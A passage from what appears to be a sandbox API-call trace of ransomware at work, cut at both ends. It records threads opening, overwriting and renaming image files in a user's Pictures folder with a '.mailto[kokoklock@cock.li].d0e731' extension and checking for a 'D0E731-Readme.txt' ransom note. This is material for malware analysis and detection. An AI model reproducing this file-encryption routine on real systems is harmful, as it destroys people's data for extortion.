lpNumberOfBytesWritten=0x10defe1c*=0x4, lpOverlapped=0x0) returned 1 [0169.612] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x10defe1c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x10defe1c*=0x6c, lpOverlapped=0x0) returned 1 [0169.612] WriteFile (in: hFile=0x370, lpBuffer=0x2f88520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x10defe1c, lpOverlapped=0x0 | out: lpBuffer=0x2f88520*, lpNumberOfBytesWritten=0x10defe1c*=0x20, lpOverlapped=0x0) returned 1 [0169.612] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10defe1c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x10defe1c*=0x4, lpOverlapped=0x0) returned 1 [0169.612] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0169.612] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88250) returned 1 [0169.613] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88110) returned 1 [0169.613] CloseHandle (hObject=0x370) returned 1 [0169.613] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe4) returned 0x2fc41c0 [0169.613] wcscpy (in: _Dest=0x2fc41c0, _Source="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png.mailto[kokoklock@cock.li].d0e731" [0169.613] wcscat (in: _Dest=0x2fc41c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.613] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\bqoj4hgouy4 xwp9dd.png.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\bqoj4hgouy4 xwp9dd.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.614] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.614] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc41c0) returned 1 [0169.614] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\bqoj4HgOUy4 XwP9DD.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.614] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4300 [0169.614] wcscpy (in: _Dest=0x2fa4300, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0169.614] wcscat (in: _Dest=0x2fa4300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0169.614] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0169.614] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4300) returned 1 [0169.614] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6eef0) returned 1 [0169.614] RtlExitUserThread (Status=0x1) Thread: id = 1856 os_tid = 0xa58 [0169.619] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\bv1aifgh09z 45-.jpg.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.621] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.621] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\bv1aifgh09z 45-.jpg.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.621] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x10e6fb68 | out: lpFileSize=0x10e6fb68*=78260) returned 1 [0169.621] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x131b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.621] ReadFile (in: hFile=0x370, lpBuffer=0x10e6fb3c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10e6fb38, lpOverlapped=0x0 | out: lpBuffer=0x10e6fb3c*, lpNumberOfBytesRead=0x10e6fb38*=0x4, lpOverlapped=0x0) returned 1 [0169.622] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.622] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.622] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0169.622] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88110 [0169.622] NtQuerySystemTime (in: CurrentTime=0x10e6fb14 | out: CurrentTime=0x10e6fb14*=132121213269439452) returned 0x0 [0169.622] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0xf461b810 [0169.622] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0xfab499bb [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0xdf447c87 [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0xee6c1eea [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0xe9ba10b8 [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0xd78892cb [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0x7ba4d0d2 [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0x79c8193 [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0x4aa81b97 [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0x4bfed014 [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0x4260d673 [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0xeca1a851 [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0x82968d17 [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0x531fb514 [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0x87a42a46 [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0xa73fccee [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0xfcd739ce [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0xbfdcaf19 [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0xf3b5d66a [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0x3eb3f30e [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0x616fd826 [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0x911a4acc [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0x8029de75 [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0xaeb25802 [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0xa09b0338 [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0x26366f3a [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0x89078b70 [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0xa3f0f315 [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0x9d884bfb [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0x3857e597 [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0x78706791 [0169.623] RtlRandom (in: Seed=0x10e6fb20 | out: Seed=0x10e6fb20) returned 0xc8e0ca8 [0169.633] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88250 [0169.634] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.635] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88138 [0169.635] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.635] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f884a8) returned 1 [0169.635] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0169.635] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.635] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x10e6faec, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x10e6faec*=0x4096, lpOverlapped=0x0) returned 1 [0169.635] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.635] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0169.635] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0169.635] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.635] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.636] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0169.636] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88368 [0169.636] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f881b0 [0169.636] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f881b0) returned 1 [0169.636] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0169.636] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0169.636] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x10e6faec, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x10e6faec*=0x4096, lpOverlapped=0x0) returned 1 [0169.636] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0169.636] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x131b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.636] WriteFile (in: hFile=0x370, lpBuffer=0x2f88368*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x10e6fb24, lpOverlapped=0x0 | out: lpBuffer=0x2f88368*, lpNumberOfBytesWritten=0x10e6fb24*=0x20, lpOverlapped=0x0) returned 1 [0169.640] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88368) returned 1 [0169.640] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0169.640] WriteFile (in: hFile=0x370, lpBuffer=0x2f88138*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x10e6fb38, lpOverlapped=0x0 | out: lpBuffer=0x2f88138*, lpNumberOfBytesWritten=0x10e6fb38*=0x8, lpOverlapped=0x0) returned 1 [0169.640] WriteFile (in: hFile=0x370, lpBuffer=0x10e6fb50*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10e6fb38, lpOverlapped=0x0 | out: lpBuffer=0x10e6fb50*, lpNumberOfBytesWritten=0x10e6fb38*=0x4, lpOverlapped=0x0) returned 1 [0169.640] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10e6fb38, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x10e6fb38*=0x4, lpOverlapped=0x0) returned 1 [0169.640] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x10e6fb38, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x10e6fb38*=0x6c, lpOverlapped=0x0) returned 1 [0169.640] WriteFile (in: hFile=0x370, lpBuffer=0x2f88520*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x10e6fb38, lpOverlapped=0x0 | out: lpBuffer=0x2f88520*, lpNumberOfBytesWritten=0x10e6fb38*=0x20, lpOverlapped=0x0) returned 1 [0169.641] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x10e6fb38, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x10e6fb38*=0x4, lpOverlapped=0x0) returned 1 [0169.641] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88520) returned 1 [0169.641] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88250) returned 1 [0169.641] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88138) returned 1 [0169.641] CloseHandle (hObject=0x370) returned 1 [0169.641] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2f98978 [0169.641] wcscpy (in: _Dest=0x2f98978, _Source="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg.mailto[kokoklock@cock.li].d0e731" [0169.641] wcscat (in: _Dest=0x2f98978, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0169.641] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\bv1aifgh09z 45-.jpg.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\bv1aifgh09z 45-.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0169.642] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.642] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98978) returned 1 [0169.642] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\Bv1aiFGH09Z 45-.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0169.642] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4300 [0169.642] wcscpy (in: _Dest=0x2fa4300, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0169.642] wcscat (in: _Dest=0x2fa4300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0169.642] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0169.643] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4300) returned 1 [0169.643] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee240) returned 1 [0169.643] RtlExitUserThread (Status=0x1) Thread: id = 1857 os_tid = 0xb00 [0169.645] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4e) returned 0x2fa0a00 [0169.645] wcscpy (in: _Dest=0x2fa0a00, _Source="C:\\Users\\FD1HVy\\Pictures\\Camera Roll" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\Camera Roll") returned="C:\\Users\\FD1HVy\\Pictures\\Camera Roll" [0169.645] wcscat (in: _Dest=0x2fa0a00, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\") returned="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\" [0169.645] wcscat (in: _Dest=0x2fa0a00, _Source="*" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\*") returned="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\*" [0169.645] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022e58 [0169.645] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\Camera Roll\\*", lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045a28 [0169.646] wcscmp (_String1=".", _String2=".") returned 0 [0169.646] FindNextFileW (in: hFindFile=0x3045a28, lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.646] wcscmp (_String1="..", _String2=".") returned 1 [0169.646] wcscmp (_String1="..", _String2="..") returned 0 [0169.646] FindNextFileW (in: hFindFile=0x3045a28, lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51278b1d, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0169.646] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0169.646] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0169.646] FindNextFileW (in: hFindFile=0x3045a28, lpFindFileData=0x3022e58 | out: lpFindFileData=0x3022e58*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x51278b1d, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0xbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0169.647] FindClose (in: hFindFile=0x3045a28 | out: hFindFile=0x3045a28) returned 1 [0169.647] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022e58) returned 1 [0169.647] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0a00) returned 1 [0169.647] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f889a0) returned 1 [0169.647] RtlExitUserThread (Status=0x0) Thread: id = 1858 os_tid = 0xfe8 [0169.649] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\clrlwdsmzc3os0ezc.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0169.650] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0169.650] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\ClrlWdSMZC3os0Ezc.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\clrlwdsmzc3os0ezc.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.650] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x10f6f864 | out: lpFileSize=0x10f6f864*=101739) returned 1 [0169.650] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x18d67, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.650] ReadFile (in: hFile=0x370, lpBuffer=0x10f6f838, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x10f6f834, lpOverlapped=0x0 | out: lpBuffer=0x10f6f838*, lpNumberOfBytesRead=0x10f6f834*=0x4, lpOverlapped=0x0) returned 1 [0169.651] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.651] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f884a8 [0169.651] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88520 [0169.651] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88138 [0169.651] NtQuerySystemTime (in: CurrentTime=0x10f6f810 | out: CurrentTime=0x10f6f810*=132121213269595450) returned 0x0 [0169.651] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0x1cdaf516 [0169.651] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0x998d797e [0169.651] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0xba6662ca [0169.651] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0xde369bb8 [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0x3d3b0fab [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0xc3ebc676 [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0xdb391730 [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0xe74c099a [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0x57959c46 [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0x99ce3136 [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0xc3be9fe1 [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0x67e1903c [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0x9ae6e8a4 [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0x161a7740 [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0xa9d9b1f7 [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0xc1eb2527 [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0xbd8a8ab8 [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0xb3830cea [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0xd8fe577e [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0xf37435ae [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0x933bbe16 [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0x7d39edfd [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0xe2171f38 [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0xdd138120 [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0xe258f5c [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0x6ebd4747 [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0x7c001517 [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0xe719bf8a [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0x6a8588b8 [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0x675c0b41 [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0xeeed18be [0169.652] RtlRandom (in: Seed=0x10f6f81c | out: Seed=0x10f6f81c) returned 0x6b8b8c0e [0169.661] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88250 [0169.663] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 